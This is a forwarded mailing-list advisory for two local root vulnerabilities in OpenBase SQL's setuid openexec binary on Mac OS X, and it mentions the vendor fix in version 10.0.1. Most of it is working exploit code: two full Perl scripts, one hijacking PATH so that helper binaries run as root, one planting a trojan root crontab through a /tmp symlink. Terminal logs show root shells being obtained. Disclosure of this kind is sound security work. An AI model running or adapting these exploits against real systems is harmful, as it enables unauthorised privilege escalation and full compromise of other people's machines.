<<< Date Index >>>     <<< Thread Index >>>

[Fwd: OpenBase SQL multiple vulnerabilities Part Deux]



I think the list spam trap ate this message a few weeks ago.
--- Begin Message ---

#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com) 
#
# <= ftp://www.openbase.com/pub/OpenBase_10.0 (vulnerable) ?
#
# This is some fairly blatant and retarded use of system()
#
# cd cp chmod chown rm mkdir and killall appear as strings in the binary hrmm 
can you cay system() ! 
# -restart -MachLaunch -launch -noexit -install_plugins -kill -install 
-uninstall and -deactivate all 
# *may* be used to trigger these issues.
#
# I don't feel like seeing which flags call which binaries... just 3 is plenty 
to prove the point.  
#
# Tested against OpenBase10.0.0_MacOSX.dmg
 
$binpath = "/Library/OpenBase/bin/openexec"; # Typical location. 

$tgts{"0"} = "cp:$binpath -install";
$tgts{"1"} = "killall:$binpath -kill";
$tgts{"2"} = "rm:$binpath -uninstall";

unless (($target) = @ARGV) {
        print "\n\nUsage: $0 <target> \n\nTargets:\n\n";

        foreach $key (sort(keys %tgts)) {
                ($a,$b) = split(/\:/,$tgts{"$key"});
                print "\t$key . $a - $b\n";
        }

        print "\n";
        exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a - $b\n";

open(OP,">/tmp/finisterre.c");
printf OP "main()\n"; 
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"chown root: 
/tmp/pwns ; chmod 4775 /tmp/pwns\"); }\n";

open(OP,">/tmp/pwns.c");
printf OP "main()\n"; 
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh 
-i\"); }\n";

system("gcc -o /tmp/finisterre /tmp/finisterre.c"); 
system("gcc -o /tmp/pwns /tmp/pwns.c"); 

system("echo /bin/cp /tmp/finisterre /tmp/$a");
system("/bin/cp /tmp/finisterre /tmp/$a");

system("export PATH=/tmp:\$PATH; $b");
system("/tmp/pwns");

#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com) 
#
# <= ftp://www.openbase.com/pub/OpenBase_10.0 (vulnerable) ?
#
# Create a new file anywhere on the filesystem with rw-rw-rw privs. 
# Sorry you can NOT overwrite existing files. 
#
# Writing to roots crontab seems to be fairly prompt at handing out root shells
# Make sure that you get cron running by first creating a user crontab!
#
# The openexec binary creates a root owned log file in /tmp/ 
# Following symlinks is bad mmmmmmmmmmkay!
#
# Tested against  OpenBase10.0.0_MacOSX.dmg

$dest = "/var/cron/tabs/root";

$binpath = "/Library/OpenBase/bin/openexec"; # Typical location. 

# In this instance targets are really pointless but I wanted to archive known 
vulnerable versions while testing. 
$tgts{"0"} = "OpenBase10.0.0_MacOSX.dmg:$binpath";

unless (($target) = @ARGV) {
        print "\n\nUsage: $0 <target> \n\nTargets:\n\n";

        foreach $key (sort(keys %tgts)) {
                ($a,$b) = split(/\:/,$tgts{"$key"});
                print "\t$key . $a\n";
        }

        print "\n";
        exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a $b\n";

open(OP,">/tmp/finisterre.c");
printf OP "main()\n"; 
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh 
-i\"); }\n";
system("gcc -o /Users/Shared/shX /tmp/finisterre.c"); 

# Create a user crontab FIRST! This ensures that cron is running when the fake 
root crontab is created. Aka semi-insta-root (in a minute)
system("echo '* * * * * /usr/bin/id > /tmp/aa' > /tmp/user_cron");
system("crontab /tmp/user_cron");

# The umask is where the lovin occurs. I'm rw-rw-rw James bitch!!
system("ln -s $dest /tmp/output");
sleep 60;   # Probably don't need to wait this long but whatever... 

system("umask 111; $b -deactivate");
print "$dest should be rw-rw-rw ... enjoy!\n";
print "installing trojan crontab for root\n";

system("echo '* * * * * /usr/sbin/chown root: /Users/Shared/shX; /bin/chmod 
4755 /Users/Shared/shX' > /var/cron/tabs/root");

print "sit around and chill for a minute then check /Users/Shared/shX !\n";
sleep 60 ;

system("/Users/Shared/shX");


DMA[2006-1107a] - 'OpenBase SQL multiple vulnerabilities Part Deux'
Author: Kevin Finisterre
Vendor(s): http://www.openbase.com
Product: 'OpenBase SQL <=10.0 (?)'
References: 
http://www.digitalmunition.com/DMA[2006-1107a].txt

Description:
(regurgitation warning - this may taste VERY familiar)

For over a decade, the OpenBase family of products have been enabling some of 
the most innovative business applications 
at work today. With thousands of customers worldwide, OpenBase has become a 
brand that companies can rely on. OpenBase 
customers include AT&T, Adobe Systems, Canon, Walt Disney, First National Bank 
of Chicago, MCI, Motorola, Apple, The 
Sharper Image and many other innovators worldwide. 

As mentioned previously several setuid root binaries from OpenBase SQL are 
placed in /Library/OpenBase/bin during the 
installation of WebObjects support for Xcode or during a standard OpenBase 
install. In this particular instance we will
be dealing only with the openexec binary. 

pwnercycles-ibook:/tmp pwnercycle$ ls -al /Library/OpenBase/bin/openexec
-rwsrwsr-x   1 root  admin  189544 Jan 13  2005 /Library/OpenBase/bin/openexec 

The openexec binary makes poor use of its setuid privileges when calling 
various helper binaries such as: cp, rm and killall. 
Each of the mentioned binaries winds up being called while openexec is running 
as root. Using the PATH environment variable 
it is possible to influence openbase in a manor that forces it to call the 
various helper binaries from a location of the 
attackers choice. Manipulating openexec via its path is an easy way for an 
attacker to obtain root.   

pwnercycles-ibook:/tmp pwnercycle$ ./openexec_duh.pl 

Usage: ./openexec_duh.pl <target> 

Targets:

        0 . cp - /Library/OpenBase/bin/openexec -install
        1 . killall - /Library/OpenBase/bin/openexec -kill
        2 . rm - /Library/OpenBase/bin/openexec -uninstall

pwnercycles-ibook:/tmp pwnercycle$ ./openexec_duh.pl 1
*** Target: killall - /Library/OpenBase/bin/openexec -kill
/bin/cp /tmp/finisterre /tmp/killall
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 
80(admin)


The next issue with the openexec binary results in an attacker being able to 
place a root owned and world writable file anywhere on 
the target file system. Again the end result is a local root compromise, in 
this case a little cron nastiness is required. 

When an openexec instance starts a log is written to /tmp/output. Unfortunately 
when this log file is created openexec takes no 
objections to a symlink in place of the filename. A symlink can point to 
virtually anywhere on the filesystem so an attacker has many 
options at his disposal. In most cases being able to create a file alone will 
not get you root access. The proper umask and a crafty 
file location can make all the difference in the world in some instances. 

Having the ability to place a root owned file with rw-rw-rw- permissions 
anywhere on the filesystem is quite powerful. On Linux based 
systems writing to /etc/ld.so.preload has proven to be a reliable exploitation 
path to obtain root. Apple's OSX unfortunately has no 
such facility to abuse. After some research the most expediant way I could come 
up with to obtain root via rw-rw-rw- file creation was 
cron abuse.   

On a vanilla install of OSX there are no tabs in /var/cron/tabs, nor is cron 
even running. In order to exploit the cron facilities we
must have the cron daemon running. Fortunately the crontab -e command kicks off 
/usr/sbin/cron after a valid crontab is saved. 

pwnercycles-ibook:/tmp pwnercycle$ ps -ax | grep cron 
 2340  p4  R+     0:00.00 grep cron
pwnercycles-ibook:/tmp pwnercycle$ ls /var/cron/tabs/
pwnercycles-ibook:/tmp pwnercycle$ crontab -e 
crontab: no crontab for kf - using an empty one
crontab: installing new crontab
pwnercycles-ibook:/tmp pwnercycle$ ps -ax | grep cron 
 2344  ??  Ss     0:00.01 /usr/sbin/cron
 2346  p4  R+     0:00.00 grep cron
pwnercycles-ibook:/tmp pwnercycle$ ls /var/cron/tabs/
pwnercycle

According to the man page 'cron checks each minute to see if its spool 
directory's modtime (or the modtime on /etc/crontab) has changed, 
and if it has, cron will then examine the modtime on all crontabs and reload 
those which have changed.  Thus cron need not be restarted 
whenever a crontab file is modified'.

Wow how perfect is that! 1.) crontab -e to start cron 2.) create 
/var/cron/tabs/root 3.) wait 1 minute 4.) enjoy root shell.    

pwnercycles-ibook:/tmp pwnercycle$ ./openexec_createfile.pl 


Usage: ./openexec_createfile.pl <target> 

Targets:

        0 . OpenBase10.0.0_MacOSX.dmg

pwnercycles-ibook:/tmp pwnercycle$ ./openexec_createfile.pl 0
*** Target: OpenBase10.0.0_MacOSX.dmg /Library/OpenBase/bin/openexec
deactivating OpenBase Service

No matching processes belonging to you were found
No matching processes belonging to you were found
No matching processes belonging to you were found
/var/cron/tabs/root should be rw-rw-rw ... enjoy!
installing trojan crontab for root
sit around and chill for a minute then check /Users/Shared/shX !
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 
80(admin)

Semi-insta root ala Apple's cron. 

Workaround: 
If you are using Xcode with WebObjects support you *may* be vulnerable to this 
issue. In a recent WebObjects update apple suggests to 
download the latest version of OpenBase directly from the vendor as a 
workaround to an other Outstanding Issue. Downloading with 
lastest vendor patches will effectively curb this issue. 

OpenBase has stated that this problem has been fixed in OpenBase 10.0.1 and 
that all users should download the new version. 

Thanks to Apple Staff for help coordinating with OpenBase. Even more thanks to 
OpenBase for the instant / weekend patch. 

--- End Message ---